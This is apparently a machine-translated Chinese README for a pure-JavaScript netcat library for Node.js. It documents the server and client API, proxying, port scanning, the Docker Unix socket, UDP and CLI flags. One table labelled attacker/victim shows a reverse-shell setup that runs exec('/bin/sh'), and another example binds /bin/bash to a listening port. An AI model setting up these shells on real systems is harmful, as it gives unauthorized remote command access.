NetCat客户端和服务器模块用pure JavaScript编写了Node.J。
实现所有基本Netcat功能的全面测试模块。用作独立工具安装NC软件包。
| Linux/Mac | 视窗 |
|---|---|
.auth('pass') )。 allow并deny特定的远程IP地址。 $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) 该模块的API倾向于尽可能多地遵循原始的NetCat的CLI参数。
例如: nc -l -p 2389等于nc.port(2389).listen() 。容易吧?
| 服务器 | 客户 |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| 服务器 | 客户 |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
或Viceversa,您可以执行相当于nc -l -p 2389 < filename.txt的同等用途,并且当其他人连接到您的端口2389时,无论是否需要,文件都会发送给他们:
| 服务器 | 客户 |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| 服务器 | 客户 |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
第一次连接后,服务器将保持活力,并且不会关闭。 ( k()是keepalive()的别名)
| 服务器 | 客户 |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| 服务器 | 客户 |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
exec()方法执行给定命令,并将其stdout和stderr与客户socket一起管道。
| 攻击者 | 受害者 |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCat可以很容易地将其配置为代理服务器:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) localhost:8080将重定向到google.com:80 。同样,您可以使用同一主机设置端口转发。
假装是Apache服务器:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) NetCat客户端还提供了基本的端口扫描功能。
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} )端口扫描仪仅是TCP协议。 UDP扫描并不是很有效。 scan(...)也接受数组或整数编号。
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) NetCat服务器和客户端都支持Unix套接字连接。让我们使用NetCat客户端实例连接到Docker Unix套接字文件并检索我们的容器图像的列表。
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' )将hello缓冲区发送到端口2100 ,然后在1000毫秒后关闭客户端。
port(int)或p(int)NetCat可以绑定到任何本地端口,但要受到已经使用的特权限制和端口。
address(host)或addr(host)0.0.0.0 。127.0.0.1 。 listen()使UDP/TCP服务器在先前设置的端口上收听。
unixSocket(path) -TCP您可以选择地提供通往Unix袜子文件的路径,然后收听/连接到它。
connect() - 仅TCP仅客户端。让客户端连接到先前设置的地址和端口。
retry(ms) -TCP仅客户端。丢失连接时,每个ms都重试连接。
interval(ms)或i(ms)仅客户端:指定发送数据的延迟时间间隔。以毫秒。
waitTime(ms)或wait(ms)设置超时。
ms毫秒,如果没有获得更多数据,将关闭连接。ms毫秒,如果没有更多数据可以发送客户端。 stream()返回客户端双重引用。
pipe(outStream)从客户端到给定的外面的管道传入数据。
filter(transformFn)在被输出之前,用给定的变换function (chunk, enc, cb){...}过滤传入数据。
NB :您获得的.on('data', cb)数据未过滤。该过滤器仅应用于管道.pipe(...)流。
已知问题: through2现在不尊重编码。如果设置了过滤器,则将获得一个缓冲区,并且enc()方法将毫无用处。
serve()服务器端方法。
serve方法接受字符串(指示文件名,确保存在),可读流或缓冲区。当您通过可读的流时,存储方法可能会导致流媒体的第一个请求消耗,并且不再提供该流(该流不在缓冲区中缓存)。
此外,将文件或缓冲区提供到套接字时,管道将发出end (EOF)事件到插座。关闭流。
send(data [, cb|host])客户端:
cb 。服务器端:
serve() 。end(data) -TCP客户端方法。发送给定的数据并关闭连接。
close([cb])关闭连接(或连接执行服务器端),并在关闭插座后致电cb 。
enc()设置一个编码。最常见的是: utf8 , ascii , base64 , hex , binary , hex 。
protocol(prot)设置自定义协议。不建议使用此方法。代替使用方法tcp()和udp() 。 tcp是默认值。
keepalive()或k() -TCP服务器端方法。
当您设置keetalive时,服务器将保持抬高,并且可能会保持pipe(outStream)保持打开状态。
默认情况下,在UDP模式下,侦听将保持活力,直到明确的nc.close() 。
exec() - 仅TCP exec()方法执行给定命令,并将其stdout和stderr与客户socket一起管道。它可以选择接受一个字符串和一个ARG数组作为第二个param,而Spawn选项则作为第三个参数。如果发现管char |然后,所有命令将在sh -c下处理。
例子:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() -TCP服务器端方法。返回列出所有客户端套接字引用的对象。
proxy(duplexStream) - 仅TCP服务器端方法。此方法将服务器传入/淘汰数据输送到提供的双工流。这就像呼叫的快捷方式: .serve(duplexStream)和.pipe(duplexStream) 。
output(outStream)或out(outStream)在给定的Writable Stream outStream写一个传入或越来越多的流量的十六进制垃圾场。
一行默认情况下,一排至少16个字节。
第一个角色可以分别为<或> “传入的块”或“出现的块”。
scan(portsInterval, cb) -TCPNetCat客户端还提供了基本的端口扫描功能。
参数是强制性的。第一个参数指定要扫描的端口。它可以是单个整数,字符串间隔(例如22-80 )或整数数组( [22, 23, 1880] )。结果返回返回,例如{ '22': 'open', '23': 'closed' ... }之类的对象。
init() - 仅UDP connect()的UDP等效。仅适用于UDP客户。
bind(<int>) - 仅UDP让UDP客户端/服务器在给定端口上收听。如果未调用.port(<n>)它也将用作量端口。
broadcast(<dst>)或b(<dst>) - 仅UDP为UDP服务器设置广播(最终您可以指定目标地址)。
destination(<dst>) - 仅UDP设置目标地址。 ( 127.0.0.1是默认值)
loopback() - 仅UDP启用环回。例如,当将UDP服务器绑定到端口并将消息发送到该端口时,如果启用了回环,它将返回MSG。
bind(int) - 仅UDP绑定UDP服务器/客户端以在给定端口上侦听,并将其端口设置port()仅用于即将到来的数据包。
NetCat模块扩展了EventEmitter类。您将可以直接从插座上捕捉一些事件。例如,服务器的data事件:
| 服务器 | 客户 |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})当服务器从客户端获取数据时发出。
.on('ready', cb)当服务器成功收听/绑定到端口时,发出。
.on('close', cb)服务器关闭时发射。
.on('clientClose', function(socket, hadError){})当客户端与服务器断开连接时调用。回调接受为第1个param socket实例,而刚连接和布尔val hadError 。
.on('connection', function(socket){}) -仅TCP当新客户端连接到服务器时发出。
.on('end', function(socket){}) )当客户结束连接时发出。
.on('timeout', function(socket){}) )插座超时事件。
.on('waitTimeout', cb)当服务器在指定的wait(ms)时间中保持不活动时,请触发。
.on('error', function(err){})发出错误。
.on('data', function(msg){})服务器的数据。
.on('close', cb)客户关闭时发出。
.on('waitTimeout', cb)当客户在指定的wait(ms)时间中保持不活动时,被解雇。
.on('connect', cb) -TCP客户与服务器建立连接时发出。
.on('error', function(err){})发出错误。
对于独立使用,安装NC CLI软件包:
$ npm install -g nc
例子:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
可用选项:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning]调试与详细模式匹配。您可以用verbose: true param或env var DEBUG=netcat:*
运行它们: npm test
覆盖范围:
.serve(input)方法.pipe()和serve() keepalive连接。 exec()方法Rocco Musolino(@RocComuso)
麻省理工学院